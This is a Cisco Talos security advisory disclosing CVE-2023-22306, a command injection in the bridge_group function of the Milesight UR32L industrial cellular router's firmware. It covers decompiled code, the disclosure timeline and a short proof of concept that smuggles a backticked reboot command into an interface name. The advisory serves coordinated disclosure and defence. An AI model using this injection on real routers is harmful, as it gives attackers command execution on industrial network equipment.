Headline
CVE-2023-22306: TALOS-2023-1698 || Cisco Talos Intelligence Group
An OS command injection vulnerability exists in the libzebra.so bridge_group functionality of Milesight UR32L v32.3.0.5. A specially crafted network packet can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.
SUMMARY
An OS command injection vulnerability exists in the libzebra.so bridge_group functionality of Milesight UR32L v32.3.0.5. A specially crafted network packet can lead to command execution. An attacker can send a sequence of requests to trigger this vulnerability.
CONFIRMED VULNERABLE VERSIONS
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Milesight UR32L v32.3.0.5
PRODUCT URLS
UR32L - https://www.milesight-iot.com/cellular/router/ur32l/
CVSSv3 SCORE
7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE
CWE-77 - Improper Neutralization of Special Elements used in a Command (‘Command Injection’)
DETAILS
The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.
The router offers telnet and sshd services. Both, when provided with the correct credentials, will allow access to the router console. This is an interactive shell to modify the router settings.
Here is the prompt after the login:
*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--
-------------------------------------------------------------------------
Product Model : UR32L
Firmware Version : 32.3.0.5
-------------------------------------------------------------------------
ROUTER>
The service has several functionalities. The number of functionalities depends on the user privileges. Indeed, the admin user can access the enable command, which will allow access to a high privilege command menu:
ROUTER> enable
ROUTER#
cellular-gps-dev
clear Reset functions
configure Configuration from vty interface
copy Copy from one file to another
core Set debug level
debug Debugging functions (see also 'undebug')
disable Turn off privileged mode command
enable Turn on privileged mode command
end End current mode and change to enable mode
exit Exit current mode and down to previous mode
list Print command list
modbus-master
no Negate a command or set its defaults
ping Send echo messages
quit Exit current mode and down to previous mode
reload Halt and perform a cold restart
show Show running system information
ssh Open an ssh connection
telnet Open a telnet connection
terminal Set terminal line parameters
test Test
traceroute Trace route to destination
undebug Disable debugging functions (see also 'debug')
write Write running configuration to memory, network, or terminal
Issuing the configure terminal command permits access to the interface <interface_name> command that configures a network interface. Several configuration are available for the interfaces; one of them is the command bridge-group <1-10> that is used to add the interface to a bridge.
An example of using this functionality follows:
ROUTER> enable
ROUTER# configure terminal
ROUTER(config)# interface eth4
ROUTER(config-if)# bridge-group 2
This will add eth4 to the bridge number 2. The function responsible for managing the bridge-group command is the libzebra.so.0.0.0’s bridge_group function:
void bridge_group(undefined4 param_1,interface_struct *interface_struct,undefined4 param_3,
char **argv)
{
[... variable declaration ...]
puVar6 = (undefined4 *)0x0;
local_2c = __stack_chk_guard;
interface_name = interface_struct->interface_name; [1]
bridge_group_n = atoi(*argv);
piVar5 = (int *)0x0;
memset(ifconfig_command,0,0x40);
snprintf(ifconfig_command,0x40,"ifconfig %s 0.0.0.0",interface_name); [2]
system(ifconfig_command); [3]
[...]
}
At [1], the <interface_name> provided is fetched (in the example above, it is eth4). At [2] the ifconfig <interface_name> 0.0.0.0 string is composed and then used as argument of the system function at [3]. Because the <interface_name> is eventually used in the system function, the bridge_group is vulnerable to a command injection vulnerability.
Exploit Proof of Concept
Following a POC triggering a reboot of the system through the command injection exposes above:
*** TERMINFO:/etc/terminfo TERM:linux *****
-- model:UR32L,sn:<redacted>,hwver:0300 partnumber:<redacted>--
-------------------------------------------------------------------------
Product Model : UR32L
Firmware Version : 32.3.0.5
-------------------------------------------------------------------------
ROUTER> enable
ROUTER# configure terminal
ROUTER(config)# interface `reboot`
ROUTER(config-if)# bridge-group 2
bridge.c:366 bridge_group: use command 'bridge <1-10>' to creates a new ethernet bridge!
ROUTER(config-if)# Connection closed by foreign host.
The Connection closed by foreign host. is the consequence of the device rebooting.
VENDOR RESPONSE
Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html
TIMELINE
2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release
Discovered by Francesco Benvenuto of Cisco Talos.
Related news
Given the privileged position these devices occupy on the networks they serve, they are prime targets for attackers, so their security posture is of paramount importance.
In all, Cisco Talos is releasing 22 security advisories today, nine of which have a CVSS score greater than 8, associated with 69 CVEs.